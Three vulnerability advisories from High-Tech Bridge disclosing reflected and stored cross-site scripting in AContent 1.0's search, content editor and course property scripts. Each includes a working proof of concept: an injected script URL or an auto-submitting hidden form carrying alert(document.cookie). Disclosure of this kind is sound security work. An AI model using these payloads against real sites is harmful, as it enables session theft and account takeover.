AContent 1.0 Cross Site Scripting

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Vulnerability ID: HTB22596  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_acontent_search.html  
Product: AContent  
Vendor: Inclusive Design Institute ( http://www.atutor.ca/ )   
Vulnerable Version: 1.0  
Vendor Notification: 01 September 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "home/search.php" script to properly sanitize user-supplied input in "search_text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/home/search.php?search_text=txt"><script>alert(document.cookie)</script>&catid=&search=Search  
  
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Vulnerability ID: HTB22597  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_acontent.html  
Product: AContent  
Vendor: Inclusive Design Institute ( http://www.atutor.ca/ )   
Vulnerable Version: 1.0  
Vendor Notification: 01 September 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "home/editor/edit_content.php" script to properly sanitize user-supplied input in "body_text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/home/editor/edit_content.php?_cid=PAGE_ID" method="post" name="main" enctype="multipart/form-data" >  
  
<input type="hidden" name="_course_id" value="54" />  
<input type="hidden" name="_cid" value="PAGE_ID" />  
<input type="hidden" name="title" value="page title" />  
<input type="hidden" name="ordering" value="1" />  
<input type="hidden" name="pid" value="0" />  
<input type="hidden" name="alternatives" value="" />  
<input type="hidden" name="current_tab" value="0" />  
<input type="hidden" name="keywords" value="" />  
<input type="hidden" name="test_message" value="" />  
<input type="submit" name="submit" id="sbmtit" value="Save" />  
<input type="hidden" name="displayhead" value="0" />  
<input type="hidden" name="displaypaste" value="0" />  
<input type="hidden" name="complexeditor" value="1" />  
<input type="hidden" name="title" value="atest ah" />  
<input type="hidden" name="formatting" value="1" />  
<input type="hidden" name="head" value="" />  
<input type="hidden" name="uploadedfile_paste" value="" />  
<input type="hidden" name="body_text" value='hello world html<script>alert(document.cookie)</script>' />  
<input type="hidden" name="weblink_text" value="" />  
  
</form>  
<script>  
document.getElementById('sbmtit').click();  
</script>  
  
  
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Vulnerability ID: HTB22598  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_acontent_course.html  
Product: AContent  
Vendor: Inclusive Design Institute ( http://www.atutor.ca/ )   
Vulnerable Version: 1.0  
Vendor Notification: 01 September 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "home/course/course_property.php" script to properly sanitize user-supplied input in "copyright" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/home/course/course_property.php?_course_id=COURSE_ID" method="post" name="main" enctype="multipart/form-data" >  
  
<input type="hidden" name="_course_id" value="COURSE_ID" />  
<input type="hidden" name="title" value="Creating Lesson in AContent" />  
<input type="hidden" name="category_id" value="0" />  
<input type="hidden" name="pri_lang" value="en" />  
<input type="hidden" name="description" value="Learn how to" />  
<input type="hidden" name="copyright" value='1"><script>alert(document.cookie)</script>' />  
<input type="submit" name="submit" id="sbmtit" value="Save" />  
  
</form>  
<script>  
document.getElementById('sbmtit').click();  
</script>  
  
  
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